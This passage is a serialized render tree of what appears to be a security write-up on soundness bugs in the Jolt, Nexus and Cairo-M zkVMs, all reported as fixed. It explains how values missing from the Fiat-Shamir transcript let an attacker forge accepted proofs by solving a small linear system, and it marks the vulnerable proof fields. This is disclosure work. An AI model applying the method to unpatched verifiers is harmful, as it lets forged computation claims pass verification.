ype":24,"tag":930,"props":119141,"children":119143},{"className":119142,"style":97525},[7120],[],{"type":24,"tag":930,"props":119145,"children":119147},{"className":119146},[7126,30],[119148],{"type":24,"tag":930,"props":119149,"children":119151},{"className":119150},[7126],[119152],{"type":30,"value":119029},{"type":24,"tag":930,"props":119154,"children":119156},{"className":119155,"style":96112},[7126],[119157],{"type":30,"value":6204},{"type":24,"tag":930,"props":119159,"children":119161},{"className":119160},[7126,30],[119162],{"type":24,"tag":930,"props":119163,"children":119165},{"className":119164},[7126],[119166],{"type":30,"value":40636},{"type":30,"value":436},{"type":24,"tag":33,"props":119169,"children":119170},{},[119171],{"type":30,"value":119172},"Because multiple claims are coupled across verification stages, the attacker may need to adjust a small set of claim values simultaneously to satisfy all affected constraints.",{"type":24,"tag":33,"props":119174,"children":119175},{},[119176],{"type":30,"value":119177},"This can be exploited by solving a small linear system over a handful of unbound claim values so all affected checks pass simultaneously.",{"type":24,"tag":33,"props":119179,"children":119180},{},[119181,119186,119188],{"type":24,"tag":275,"props":119182,"children":119183},{},[119184],{"type":30,"value":119185},"Status:",{"type":30,"value":119187}," Fixed on October 3, 2025 via ",{"type":24,"tag":37,"props":119189,"children":119192},{"href":119190,"rel":119191},"https://github.com/a16z/jolt/pull/981",[41],[119193],{"type":30,"value":119194},"PR #981",{"type":24,"tag":21895,"props":119196,"children":119197},{},[],{"type":24,"tag":151,"props":119199,"children":119201},{"id":119200},"nexus",[119202],{"type":30,"value":110294},{"type":24,"tag":33,"props":119204,"children":119205},{},[119206],{"type":30,"value":119207},"Nexus is a zkVM built on the Stwo prover (from StarkWare). It uses STARKs with logup lookup arguments.",{"type":24,"tag":33,"props":119209,"children":119210},{},[119211,119213,119218],{"type":30,"value":119212},"Nexus splits verification into ",{"type":24,"tag":275,"props":119214,"children":119215},{},[119216],{"type":30,"value":119217},"components",{"type":30,"value":119219}," such as instruction execution, memory, registers, etc. Each component handles a subset of constraints.",{"type":24,"tag":33,"props":119221,"children":119222},{},[119223,119225,119230],{"type":30,"value":119224},"Each component emits and consumes lookup tuples. The component's ",{"type":24,"tag":156,"props":119226,"children":119228},{"className":119227},[],[119229],{"type":30,"value":117339},{"type":30,"value":119231}," summarizes its net contribution:",{"type":24,"tag":33,"props":119233,"children":119234},{},[119235],{"type":24,"tag":156,"props":119236,"children":119238},{"className":119237},[7098,7099],[119239],{"type":24,"tag":930,"props":119240,"children":119242},{"className":119241},[7104],[119243],{"type":24,"tag":930,"props":119244,"children":119246},{"className":119245,"ariaHidden":7110},[7109],[119247,119343,119592],{"type":24,"tag":930,"props":119248,"children":119250},{"className":119249},[7115],[119251,119255,119264,119269,119330,119334,119339],{"type":24,"tag":930,"props":119252,"children":119254},{"className":119253,"style":97525},[7120],[],{"type":24,"tag":930,"props":119256,"children":119258},{"className":119257},[7126,30],[119259],{"type":24,"tag":930,"props":119260,"children":119262},{"className":119261},[7126],[119263],{"type":30,"value":116568},{"type":24,"tag":930,"props":119265,"children":119267},{"className":119266,"style":96112},[7126],[119268],{"type":30,"value":6204},{"type":24,"tag":930,"props":119270,"children":119272},{"className":119271},[7126],[119273,119282],{"type":24,"tag":930,"props":119274,"children":119276},{"className":119275},[7126,30],[119277],{"type":24,"tag":930,"props":119278,"children":119280},{"className":119279},[7126],[119281],{"type":30,"value":79711},{"type":24,"tag":930,"props":119283,"children":119285},{"className":119284},[7142],[119286],{"type":24,"tag":930,"props":119287,"children":119289},{"className":119288},[7147,24743],[119290,119319],{"type":24,"tag":930,"props":119291,"children":119293},{"className":119292},[7152],[119294,119314],{"type":24,"tag":930,"props":119295,"children":119297},{"className":119296,"style":96641},[7157],[119298],{"type":24,"tag":930,"props":119299,"children":119300},{"style":116605},[119301,119305],{"type":24,"tag":930,"props":119302,"children":119304},{"className":119303,"style":7167},[7166],[],{"type":24,"tag":930,"props":119306,"children":119308},{"className":119307},[7172,7173,7174,7175],[119309],{"type":24,"tag":930,"props":119310,"children":119312},{"className":119311},[7126,24690,7175],[119313],{"type":30,"value":6854},{"type":24,"tag":930,"props":119315,"children":119317},{"className":119316},[24846],[119318],{"type":30,"value":24849},{"type":24,"tag":930,"props":119320,"children":119322},{"className":119321},[7152],[119323],{"type":24,"tag":930,"props":119324,"children":119326},{"className":119325,"style":96195},[7157],[119327],{"type":24,"tag":930,"props":119328,"children":119329},{},[],{"type":24,"tag":930,"props":119331,"children":119333},{"className":119332,"style":7304},[7206],[],{"type":24,"tag":930,"props":119335,"children":119337},{"className":119336},[7309],[119338],{"type":30,"value":1161},{"type":24,"tag":930,"props":119340,"children":119342},{"className":119341,"style":7304},[7206],[],{"type":24,"tag":930,"props":119344,"children":119346},{"className":119345},[7115],[119347,119352,119409,119413,119579,119583,119588],{"type":24,"tag":930,"props":119348,"children":119351},{"className":119349,"style":119350},[7120],"height:1.4734em;vertical-align:-0.6283em;",[],{"type":24,"tag":930,"props":119353,"children":119355},{"className":119354},[24725],[119356,119361],{"type":24,"tag":930,"props":119357,"children":119359},{"className":119358,"style":24732},[24725,24730,24731],[119360],{"type":30,"value":111270},{"type":24,"tag":930,"props":119362,"children":119364},{"className":119363},[7142],[119365],{"type":24,"tag":930,"props":119366,"children":119368},{"className":119367},[7147,24743],[119369,119398],{"type":24,"tag":930,"props":119370,"children":119372},{"className":119371},[7152],[119373,119393],{"type":24,"tag":930,"props":119374,"children":119376},{"className":119375,"style":116682},[7157],[119377],{"type":24,"tag":930,"props":119378,"children":119379},{"style":24756},[119380,119384],{"type":24,"tag":930,"props":119381,"children":119383},{"className":119382,"style":7167},[7166],[],{"type":24,"tag":930,"props":119385,"children":119387},{"className":119386},[7172,7173,7174,7175],[119388],{"type":24,"tag":930,"props":119389,"children":119391},{"className":119390,"style":116698},[7126,24690,7175],[119392],{"type":30,"value":11765},{"type":24,"tag":930,"props":119394,"children":119396},{"className":119395},[24846],[119397],{"type":30,"value":24849},{"type":24,"tag":930,"props":119399,"children":119401},{"className":119400},[7152],[119402],{"type":24,"tag":930,"props":119403,"children":119405},{"className":119404,"style":116713},[7157],[119406],{"type":24,"tag":930,"props":119407,"children":119408},{},[],{"type":24,"tag":930,"props":119410,"children":119412},{"className":119411,"style":7245},[7206],[],{"type":24,"tag":930,"props":119414,"children":119416},{"className":119415},[7126],[119417,119421,119575],{"type":24,"tag":930,"props":119418,"children":119420},{"className":119419},[24818,115993],[],{"type":24,"tag":930,"props":119422,"children":119424},{"className":119423},[115998],[119425],{"type":24,"tag":930,"props":119426,"children":119428},{"className":119427},[7147,24743],[119429,119563],{"type":24,"tag":930,"props":119430,"children":119432},{"className":119431},[7152],[119433,119558],{"type":24,"tag":930,"props":119434,"children":119436},{"className":119435,"style":116011},[7157],[119437,119527,119538],{"type":24,"tag":930,"props":119438,"children":119439},{"style":116015},[119440,119444],{"type":24,"tag":930,"props":119441,"children":119443},{"className":119442,"style":114646},[7166],[],{"type":24,"tag":930,"props":119445,"children":119447},{"className":119446},[7172,7173,7174,7175],[119448],{"type":24,"tag":930,"props":119449,"children":119451},{"className":119450},[7126,7175],[119452,119457,119462],{"type":24,"tag":930,"props":119453,"children":119455},{"className":119454,"style":116032},[7126,24690,7175],[119456],{"type":30,"value":116035},{"type":24,"tag":930,"props":119458,"children":119460},{"className":119459},[7212,7175],[119461],{"type":30,"value":7186},{"type":24,"tag":930,"props":119463,"children":119465},{"className":119464},[7126,7175],[119466,119476],{"type":24,"tag":930,"props":119467,"children":119469},{"className":119468},[7126,30,7175],[119470],{"type":24,"tag":930,"props":119471,"children":119473},{"className":119472},[7126,7175],[119474],{"type":30,"value":119475},"produced",{"type":24,"tag":930,"props":119477,"children":119479},{"className":119478},[7142],[119480],{"type":24,"tag":930,"props":119481,"children":119483},{"className":119482},[7147,24743],[119484,119515],{"type":24,"tag":930,"props":119485,"children":119487},{"className":119486},[7152],[119488,119510],{"type":24,"tag":930,"props":119489,"children":119492},{"className":119490,"style":119491},[7157],"height:0.2052em;",[119493],{"type":24,"tag":930,"props":119494,"children":119496},{"style":119495},"top:-2.2341em;margin-right:0.0714em;",[119497,119501],{"type":24,"tag":930,"props":119498,"children":119500},{"className":119499,"style":111335},[7166],[],{"type":24,"tag":930,"props":119502,"children":119504},{"className":119503},[7172,111340,111341,7175],[119505],{"type":24,"tag":930,"props":119506,"children":119508},{"className":119507,"style":116698},[7126,24690,7175],[119509],{"type":30,"value":11765},{"type":24,"tag":930,"props":119511,"children":119513},{"className":119512},[24846],[119514],{"type":30,"value":24849},{"type":24,"tag":930,"props":119516,"children":119518},{"className":119517},[7152],[119519],{"type":24,"tag":930,"props":119520,"children":119523},{"className":119521,"style":119522},[7157],"height:0.4048em;",[119524],{"type":24,"tag":930,"props":119525,"children":119526},{},[],{"type":24,"tag":930,"props":119528,"children":119529},{"style":116048},[119530,119534],{"type":24,"tag":930,"props":119531,"children":119533},{"className":119532,"style":114646},[7166],[],{"type":24,"tag":930,"props":119535,"children":119537},{"className":119536,"style":116058},[116057],[],{"type":24,"tag":930,"props":119539,"children":119540},{"style":116062},[119541,119545],{"type":24,"tag":930,"props":119542,"children":119544},{"className":119543,"style":114646},[7166],[],{"type":24,"tag":930,"props":119546,"children":119548},{"className":119547},[7172,7173,7174,7175],[119549],{"type":24,"tag":930,"props":119550,"children":119552},{"className":119551},[7126,7175],[119553],{"type":24,"tag":930,"props":119554,"children":119556},{"className":119555},[7126,7175],[119557],{"type":30,"value":7129},{"type":24,"tag":930,"props":119559,"children":119561},{"className":119560},[24846],[119562],{"type":30,"value":24849},{"type":24,"tag":930,"props":119564,"children":119566},{"className":119565},[7152],[119567],{"type":24,"tag":930,"props":119568,"children":119571},{"className":119569,"style":119570},[7157],"height:0.6283em;",[119572],{"type":24,"tag":930,"props":119573,"children":119574},{},[],{"type":24,"tag":930,"props":119576,"children":119578},{"className":119577},[24840,115993],[],{"type":24,"tag":930,"props":119580,"children":119582},{"className":119581,"style":7207},[7206],[],{"type":24,"tag":930,"props":119584,"children":119586},{"className":119585},[7212],[119587],{"type":30,"value":7186},{"type":24,"tag":930,"props":119589,"children":119591},{"className":119590,"style":7207},[7206],[],{"type":24,"tag":930,"props":119593,"children":119595},{"className":119594},[7115],[119596,119600,119657,119661],{"type":24,"tag":930,"props":119597,"children":119599},{"className":119598,"style":116907},[7120],[],{"type":24,"tag":930,"props":119601,"children":119603},{"className":119602},[24725],[119604,119609],{"type":24,"tag":930,"props":119605,"children":119607},{"className":119606,"style":24732},[24725,24730,24731],[119608],{"type":30,"value":111270},{"type":24,"tag":930,"props":119610,"children":119612},{"className":119611},[7142],[119613],{"type":24,"tag":930,"props":119614,"children":119616},{"className":119615},[7147,24743],[119617,119646],{"type":24,"tag":930,"props":119618,"children":119620},{"className":119619},[7152],[119621,119641],{"type":24,"tag":930,"props":119622,"children":119624},{"className":119623,"style":116147},[7157],[119625],{"type":24,"tag":930,"props":119626,"children":119627},{"style":24756},[119628,119632],{"type":24,"tag":930,"props":119629,"children":119631},{"className":119630,"style":7167},[7166],[],{"type":24,"tag":930,"props":119633,"children":119635},{"className":119634},[7172,7173,7174,7175],[119636],{"type":24,"tag":930,"props":119637,"children":119639},{"className":119638,"style":97541},[7126,24690,7175],[119640],{"type":30,"value":91752},{"type":24,"tag":930,"props":119642,"children":119644},{"className":119643},[24846],[119645],{"type":30,"value":24849},{"type":24,"tag":930,"props":119647,"children":119649},{"className":119648},[7152],[119650],{"type":24,"tag":930,"props":119651,"children":119653},{"className":119652,"style":116962},[7157],[119654],{"type":24,"tag":930,"props":119655,"children":119656},{},[],{"type":24,"tag":930,"props":119658,"children":119660},{"className":119659,"style":7245},[7206],[],{"type":24,"tag":930,"props":119662,"children":119664},{"className":119663},[7126],[119665,119669,119819],{"type":24,"tag":930,"props":119666,"children":119668},{"className":119667},[24818,115993],[],{"type":24,"tag":930,"props":119670,"children":119672},{"className":119671},[115998],[119673],{"type":24,"tag":930,"props":119674,"children":119676},{"className":119675},[7147,24743],[119677,119808],{"type":24,"tag":930,"props":119678,"children":119680},{"className":119679},[7152],[119681,119803],{"type":24,"tag":930,"props":119682,"children":119684},{"className":119683,"style":116011},[7157],[119685,119772,119783],{"type":24,"tag":930,"props":119686,"children":119687},{"style":116015},[119688,119692],{"type":24,"tag":930,"props":119689,"children":119691},{"className":119690,"style":114646},[7166],[],{"type":24,"tag":930,"props":119693,"children":119695},{"className":119694},[7172,7173,7174,7175],[119696],{"type":24,"tag":930,"props":119697,"children":119699},{"className":119698},[7126,7175],[119700,119705,119710],{"type":24,"tag":930,"props":119701,"children":119703},{"className":119702,"style":116032},[7126,24690,7175],[119704],{"type":30,"value":116035},{"type":24,"tag":930,"props":119706,"children":119708},{"className":119707},[7212,7175],[119709],{"type":30,"value":7186},{"type":24,"tag":930,"props":119711,"children":119713},{"className":119712},[7126,7175],[119714,119724],{"type":24,"tag":930,"props":119715,"children":119717},{"className":119716},[7126,30,7175],[119718],{"type":24,"tag":930,"props":119719,"children":119721},{"className":119720},[7126,7175],[119722],{"type":30,"value":119723},"consumed",{"type":24,"tag":930,"props":119725,"children":119727},{"className":119726},[7142],[119728],{"type":24,"tag":930,"props":119729,"children":119731},{"className":119730},[7147,24743],[119732,119761],{"type":24,"tag":930,"props":119733,"children":119735},{"className":119734},[7152],[119736,119756],{"type":24,"tag":930,"props":119737,"children":119739},{"className":119738,"style":114807},[7157],[119740],{"type":24,"tag":930,"props":119741,"children":119742},{"style":117052},[119743,119747],{"type":24,"tag":930,"props":119744,"children":119746},{"className":119745,"style":111335},[7166],[],{"type":24,"tag":930,"props":119748,"children":119750},{"className":119749},[7172,111340,111341,7175],[119751],{"type":24,"tag":930,"props":119752,"children":119754},{"className":119753,"style":97541},[7126,24690,7175],[119755],{"type":30,"value":91752},{"type":24,"tag":930,"props":119757,"children":119759},{"className":119758},[24846],[119760],{"type":30,"value":24849},{"type":24,"tag":930,"props":119762,"children":119764},{"className":119763},[7152],[119765],{"type":24,"tag":930,"props":119766,"children":119768},{"className":119767,"style":117079},[7157],[119769],{"type":24,"tag":930,"props":119770,"children":119771},{},[],{"type":24,"tag":930,"props":119773,"children":119774},{"style":116048},[119775,119779],{"type":24,"tag":930,"props":119776,"children":119778},{"className":119777,"style":114646},[7166],[],{"type":24,"tag":930,"props":119780,"children":119782},{"className":119781,"style":116058},[116057],[],{"type":24,"tag":930,"props":119784,"children":119785},{"style":116062},[119786,119790],{"type":24,"tag":930,"props":119787,"children":119789},{"className":119788,"style":114646},[7166],[],{"type":24,"tag":930,"props":119791,"children":119793},{"className":119792},[7172,7173,7174,7175],[119794],{"type":24,"tag":930,"props":119795,"children":119797},{"className":119796},[7126,7175],[119798],{"type":24,"tag":930,"props":119799,"children":119801},{"className":119800},[7126,7175],[119802],{"type":30,"value":7129},{"type":24,"tag":930,"props":119804,"children":119806},{"className":119805},[24846],[119807],{"type":30,"value":24849},{"type":24,"tag":930,"props":119809,"children":119811},{"className":119810},[7152],[119812],{"type":24,"tag":930,"props":119813,"children":119815},{"className":119814,"style":117127},[7157],[119816],{"type":24,"tag":930,"props":119817,"children":119818},{},[],{"type":24,"tag":930,"props":119820,"children":119822},{"className":119821},[24840,115993],[],{"type":24,"tag":33,"props":119824,"children":119825},{},[119826,119828,119833],{"type":30,"value":119827},"All ",{"type":24,"tag":156,"props":119829,"children":119831},{"className":119830},[],[119832],{"type":30,"value":117339},{"type":30,"value":119834}," values must sum to zero (everything produced is consumed).",{"type":24,"tag":33,"props":119836,"children":119837},{},[119838,119840,119845],{"type":30,"value":119839},"All constraints are combined into a composition polynomial. The verifier then checks this polynomial at a random point outside the execution domain, known as an ",{"type":24,"tag":275,"props":119841,"children":119842},{},[119843],{"type":30,"value":119844},"OODS (Out-of-Domain Sampling)",{"type":30,"value":119846}," test.",{"type":24,"tag":33,"props":119848,"children":119849},{},[119850],{"type":24,"tag":275,"props":119851,"children":119852},{},[119853],{"type":30,"value":117891},{"type":24,"tag":920,"props":119855,"children":119857},{"code":119856},"NexusProof {\n    stark_proof: {\n        commitments: [Merkle roots of trace columns]\n        sampled_values: [polynomial evaluations]\n        fri_proof: [low-degree test proof]\n    }\n    claimed_sum: [FieldElement; NUM_COMPONENTS]  // \u003C- VULNERABLE\n    log_size: [component sizes]\n}\n",[119858],{"type":24,"tag":156,"props":119859,"children":119860},{"__ignoreMap":7},[119861],{"type":30,"value":119856},{"type":24,"tag":33,"props":119863,"children":119864},{},[119865,119867,119872],{"type":30,"value":119866},"The",{"type":24,"tag":156,"props":119868,"children":119870},{"className":119869},[],[119871],{"type":30,"value":117339},{"type":30,"value":119873}," values are checked to be of correct length, that they sum to zero, and are used in the final composition polynomial. But at no point were they absorbed into the transcript.",{"type":24,"tag":33,"props":119875,"children":119876},{},[119877],{"type":24,"tag":140,"props":119878,"children":119881},{"alt":119879,"src":119880},"6_nexus_flow","/posts/zkvms-unfaithful-claims/6_nexus_flow.svg",[],{"type":24,"tag":33,"props":119883,"children":119884},{},[119885,119887,119896],{"type":30,"value":119886},"The OODS check computes the composition polynomial, which includes logup boundary constraints. These constraints are ",{"type":24,"tag":275,"props":119888,"children":119889},{},[119890,119891],{"type":30,"value":114346},{"type":24,"tag":156,"props":119892,"children":119894},{"className":119893},[],[119895],{"type":30,"value":117339},{"type":30,"value":476},{"type":24,"tag":33,"props":119898,"children":119899},{},[119900],{"type":30,"value":119901},"The composition polynomial is a random linear combination of constraints:",{"type":24,"tag":33,"props":119903,"children":119904},{},[119905],{"type":24,"tag":156,"props":119906,"children":119908},{"className":119907},[7098,7099],[119909],{"type":24,"tag":930,"props":119910,"children":119912},{"className":119911},[7104],[119913],{"type":24,"tag":930,"props":119914,"children":119916},{"className":119915,"ariaHidden":7110},[7109],[119917,119958,120097],{"type":24,"tag":930,"props":119918,"children":119920},{"className":119919},[7115],[119921,119925,119930,119935,119940,119945,119949,119954],{"type":24,"tag":930,"props":119922,"children":119924},{"className":119923,"style":7227},[7120],[],{"type":24,"tag":930,"props":119926,"children":119928},{"className":119927,"style":25221},[7126,24690],[119929],{"type":30,"value":118704},{"type":24,"tag":930,"props":119931,"children":119933},{"className":119932},[24818],[119934],{"type":30,"value":1010},{"type":24,"tag":930,"props":119936,"children":119938},{"className":119937},[7126,24690],[119939],{"type":30,"value":22378},{"type":24,"tag":930,"props":119941,"children":119943},{"className":119942},[24840],[119944],{"type":30,"value":6249},{"type":24,"tag":930,"props":119946,"children":119948},{"className":119947,"style":7304},[7206],[],{"type":24,"tag":930,"props":119950,"children":119952},{"className":119951},[7309],[119953],{"type":30,"value":1161},{"type":24,"tag":930,"props":119955,"children":119957},{"className":119956,"style":7304},[7206],[],{"type":24,"tag":930,"props":119959,"children":119961},{"className":119960},[7115],[119962,119966,120023,120027,120084,120088,120093],{"type":24,"tag":930,"props":119963,"children":119965},{"className":119964,"style":118108},[7120],[],{"type":24,"tag":930,"props":119967,"children":119969},{"className":119968},[24725],[119970,119975],{"type":24,"tag":930,"props":119971,"children":119973},{"className":119972,"style":24732},[24725,24730,24731],[119974],{"type":30,"value":111270},{"type":24,"tag":930,"props":119976,"children":119978},{"className":119977},[7142],[119979],{"type":24,"tag":930,"props":119980,"children":119982},{"className":119981},[7147,24743],[119983,120012],{"type":24,"tag":930,"props":119984,"children":119986},{"className":119985},[7152],[119987,120007],{"type":24,"tag":930,"props":119988,"children":119990},{"className":119989,"style":116682},[7157],[119991],{"type":24,"tag":930,"props":119992,"children":119993},{"style":24756},[119994,119998],{"type":24,"tag":930,"props":119995,"children":119997},{"className":119996,"style":7167},[7166],[],{"type":24,"tag":930,"props":119999,"children":120001},{"className":120000},[7172,7173,7174,7175],[120002],{"type":24,"tag":930,"props":120003,"children":120005},{"className":120004},[7126,24690,7175],[120006],{"type":30,"value":6854},{"type":24,"tag":930,"props":120008,"children":120010},{"className":120009},[24846],[120011],{"type":30,"value":24849},{"type":24,"tag":930,"props":120013,"children":120015},{"className":120014},[7152],[120016],{"type":24,"tag":930,"props":120017,"children":120019},{"className":120018,"style":116962},[7157],[120020],{"type":24,"tag":930,"props":120021,"children":120022},{},[],{"type":24,"tag":930,"props":120024,"children":120026},{"className":120025,"style":7245},[7206],[],{"type":24,"tag":930,"props":120028,"children":120030},{"className":120029},[7126],[120031,120036],{"type":24,"tag":930,"props":120032,"children":120034},{"className":120033,"style":117563},[7126,24690],[120035],{"type":30,"value":117566},{"type":24,"tag":930,"props":120037,"children":120039},{"className":120038},[7142],[120040],{"type":24,"tag":930,"props":120041,"children":120043},{"className":120042},[7147,24743],[120044,120073],{"type":24,"tag":930,"props":120045,"children":120047},{"className":120046},[7152],[120048,120068],{"type":24,"tag":930,"props":120049,"children":120051},{"className":120050,"style":96641},[7157],[120052],{"type":24,"tag":930,"props":120053,"children":120054},{"style":118198},[120055,120059],{"type":24,"tag":930,"props":120056,"children":120058},{"className":120057,"style":7167},[7166],[],{"type":24,"tag":930,"props":120060,"children":120062},{"className":120061},[7172,7173,7174,7175],[120063],{"type":24,"tag":930,"props":120064,"children":120066},{"className":120065},[7126,24690,7175],[120067],{"type":30,"value":6854},{"type":24,"tag":930,"props":120069,"children":120071},{"className":120070},[24846],[120072],{"type":30,"value":24849},{"type":24,"tag":930,"props":120074,"children":120076},{"className":120075},[7152],[120077],{"type":24,"tag":930,"props":120078,"children":120080},{"className":120079,"style":96195},[7157],[120081],{"type":24,"tag":930,"props":120082,"children":120083},{},[],{"type":24,"tag":930,"props":120085,"children":120087},{"className":120086,"style":7207},[7206],[],{"type":24,"tag":930,"props":120089,"children":120091},{"className":120090},[7212],[120092],{"type":30,"value":113737},{"type":24,"tag":930,"props":120094,"children":120096},{"className":120095,"style":7207},[7206],[],{"type":24,"tag":930,"props":120098,"children":120100},{"className":120099},[7115],[120101,120105,120167,120172,120177],{"type":24,"tag":930,"props":120102,"children":120104},{"className":120103,"style":7227},[7120],[],{"type":24,"tag":930,"props":120106,"children":120108},{"className":120107},[7126],[120109,120119],{"type":24,"tag":930,"props":120110,"children":120112},{"className":120111},[7126,30],[120113],{"type":24,"tag":930,"props":120114,"children":120116},{"className":120115},[7126],[120117],{"type":30,"value":120118},"constraint",{"type":24,"tag":930,"props":120120,"children":120122},{"className":120121},[7142],[120123],{"type":24,"tag":930,"props":120124,"children":120126},{"className":120125},[7147,24743],[120127,120156],{"type":24,"tag":930,"props":120128,"children":120130},{"className":120129},[7152],[120131,120151],{"type":24,"tag":930,"props":120132,"children":120134},{"className":120133,"style":96641},[7157],[120135],{"type":24,"tag":930,"props":120136,"children":120137},{"style":116605},[120138,120142],{"type":24,"tag":930,"props":120139,"children":120141},{"className":120140,"style":7167},[7166],[],{"type":24,"tag":930,"props":120143,"children":120145},{"className":120144},[7172,7173,7174,7175],[120146],{"type":24,"tag":930,"props":120147,"children":120149},{"className":120148},[7126,24690,7175],[120150],{"type":30,"value":6854},{"type":24,"tag":930,"props":120152,"children":120154},{"className":120153},[24846],[120155],{"type":30,"value":24849},{"type":24,"tag":930,"props":120157,"children":120159},{"className":120158},[7152],[120160],{"type":24,"tag":930,"props":120161,"children":120163},{"className":120162,"style":96195},[7157],[120164],{"type":24,"tag":930,"props":120165,"children":120166},{},[],{"type":24,"tag":930,"props":120168,"children":120170},{"className":120169},[24818],[120171],{"type":30,"value":1010},{"type":24,"tag":930,"props":120173,"children":120175},{"className":120174},[7126,24690],[120176],{"type":30,"value":22378},{"type":24,"tag":930,"props":120178,"children":120180},{"className":120179},[24840],[120181],{"type":30,"value":6249},{"type":24,"tag":33,"props":120183,"children":120184},{},[120185,120187,120192,120194,120199],{"type":30,"value":120186},"Since each constraint is linear in its ",{"type":24,"tag":156,"props":120188,"children":120190},{"className":120189},[],[120191],{"type":30,"value":117339},{"type":30,"value":120193},", the overall composition polynomial is linear in all ",{"type":24,"tag":156,"props":120195,"children":120197},{"className":120196},[],[120198],{"type":30,"value":117339},{"type":30,"value":120200}," values.",{"type":24,"tag":33,"props":120202,"children":120203},{},[120204,120206],{"type":30,"value":120205},"The verifier checks ",{"type":24,"tag":156,"props":120207,"children":120209},{"className":120208},[7098,7099],[120210],{"type":24,"tag":930,"props":120211,"children":120213},{"className":120212},[7104],[120214],{"type":24,"tag":930,"props":120215,"children":120217},{"className":120216,"ariaHidden":7110},[7109],[120218,120279],{"type":24,"tag":930,"props":120219,"children":120221},{"className":120220},[7115],[120222,120226,120231,120236,120246,120251,120261,120266,120270,120275],{"type":24,"tag":930,"props":120223,"children":120225},{"className":120224,"style":96054},[7120],[],{"type":24,"tag":930,"props":120227,"children":120229},{"className":120228,"style":25221},[7126,24690],[120230],{"type":30,"value":118704},{"type":24,"tag":930,"props":120232,"children":120234},{"className":120233},[24818],[120235],{"type":30,"value":1010},{"type":24,"tag":930,"props":120237,"children":120239},{"className":120238},[7126,30],[120240],{"type":24,"tag":930,"props":120241,"children":120243},{"className":120242},[7126],[120244],{"type":30,"value":120245},"oods",{"type":24,"tag":930,"props":120247,"children":120249},{"className":120248,"style":96112},[7126],[120250],{"type":30,"value":6204},{"type":24,"tag":930,"props":120252,"children":120254},{"className":120253},[7126,30],[120255],{"type":24,"tag":930,"props":120256,"children":120258},{"className":120257},[7126],[120259],{"type":30,"value":120260},"point",{"type":24,"tag":930,"props":120262,"children":120264},{"className":120263},[24840],[120265],{"type":30,"value":6249},{"type":24,"tag":930,"props":120267,"children":120269},{"className":120268,"style":7304},[7206],[],{"type":24,"tag":930,"props":120271,"children":120273},{"className":120272},[7309],[120274],{"type":30,"value":1161},{"type":24,"tag":930,"props":120276,"children":120278},{"className":120277,"style":7304},[7206],[],{"type":24,"tag":930,"props":120280,"children":120282},{"className":120281},[7115],[120283,120287],{"type":24,"tag":930,"props":120284,"children":120286},{"className":120285,"style":117530},[7120],[],{"type":24,"tag":930,"props":120288,"children":120290},{"className":120289},[7126,30],[120291],{"type":24,"tag":930,"props":120292,"children":120294},{"className":120293},[7126],[120295],{"type":30,"value":119029},{"type":24,"tag":33,"props":120297,"children":120298},{},[120299,120301,120306,120308,120313],{"type":30,"value":120300},"With ",{"type":24,"tag":156,"props":120302,"children":120304},{"className":120303},[],[120305],{"type":30,"value":117339},{"type":30,"value":120307}," not in transcript, the composition polynomial becomes a linear function of the ",{"type":24,"tag":156,"props":120309,"children":120311},{"className":120310},[],[120312],{"type":30,"value":117339},{"type":30,"value":120314}," values. Combined with the constraint that claimed sums must sum to zero, this is a small linear system that is easily solvable.",{"type":24,"tag":33,"props":120316,"children":120317},{},[120318,120322,120324],{"type":24,"tag":275,"props":120319,"children":120320},{},[120321],{"type":30,"value":119185},{"type":30,"value":120323}," Fixed on October 24, 2025 via ",{"type":24,"tag":37,"props":120325,"children":120328},{"href":120326,"rel":120327},"https://github.com/nexus-xyz/nexus-zkvm/pull/503",[41],[120329],{"type":30,"value":120330},"PR #503",{"type":24,"tag":21895,"props":120332,"children":120333},{},[],{"type":24,"tag":151,"props":120335,"children":120337},{"id":120336},"cairo-m-kakarot-labs",[120338],{"type":30,"value":120339},"Cairo-M (Kakarot Labs)",{"type":24,"tag":33,"props":120341,"children":120342},{},[120343],{"type":30,"value":120344},"Cairo-M, built by Kakarot Labs, is an alternative proof system for the Cairo VM (used by Starknet).",{"type":24,"tag":33,"props":120346,"children":120347},{},[120348],{"type":30,"value":120349},"Cairo-M is in many ways similar to Nexus. It uses logup to prove global statements about the execution.",{"type":24,"tag":33,"props":120351,"children":120352},{},[120353],{"type":24,"tag":275,"props":120354,"children":120355},{},[120356],{"type":30,"value":117891},{"type":24,"tag":920,"props":120358,"children":120360},{"code":120359},"Proof {\n    claim: ComponentSizes,\n    interaction_claim: LogupClaimsPerComponent,\n    public_data: {          // \u003C- VULNERABLE\n        initial_registers: { pc, fp },\n        final_registers: { pc, fp }, // \u003C- forged\n        clock,                       // \u003C- forged\n        initial_root,                \n        final_root,                  // \u003C- forged\n        public_memory: { program, input, output }, //output modified\n    },\n    stark_proof: [...],\n}\n",[120361],{"type":24,"tag":156,"props":120362,"children":120363},{"__ignoreMap":7},[120364],{"type":30,"value":120359},{"type":24,"tag":33,"props":120366,"children":120367},{},[120368],{"type":24,"tag":275,"props":120369,"children":120370},{},[120371],{"type":30,"value":117907},{"type":24,"tag":33,"props":120373,"children":120374},{},[120375],{"type":24,"tag":140,"props":120376,"children":120379},{"alt":120377,"src":120378},"7_cairo_m_verification","/posts/zkvms-unfaithful-claims/7_cairo_m_verification.svg",[],{"type":24,"tag":33,"props":120381,"children":120382},{},[120383,120385,120391],{"type":30,"value":120384},"Lookup challenges are derived without ",{"type":24,"tag":156,"props":120386,"children":120388},{"className":120387},[],[120389],{"type":30,"value":120390},"public_data",{"type":30,"value":120392}," being  mixed into the transcript.",{"type":24,"tag":33,"props":120394,"children":120395},{},[120396,120397,120402,120404,120409],{"type":30,"value":259},{"type":24,"tag":156,"props":120398,"children":120400},{"className":120399},[],[120401],{"type":30,"value":120390},{"type":30,"value":120403}," (program I/O, boundary registers, memory roots) enters the lookup relations inside ",{"type":24,"tag":6032,"props":120405,"children":120406},{},[120407],{"type":30,"value":120408},"denominators",{"type":30,"value":120410}," through challenge-weighted encodings of tuples. Abstractly, the verifier checks a relation of the 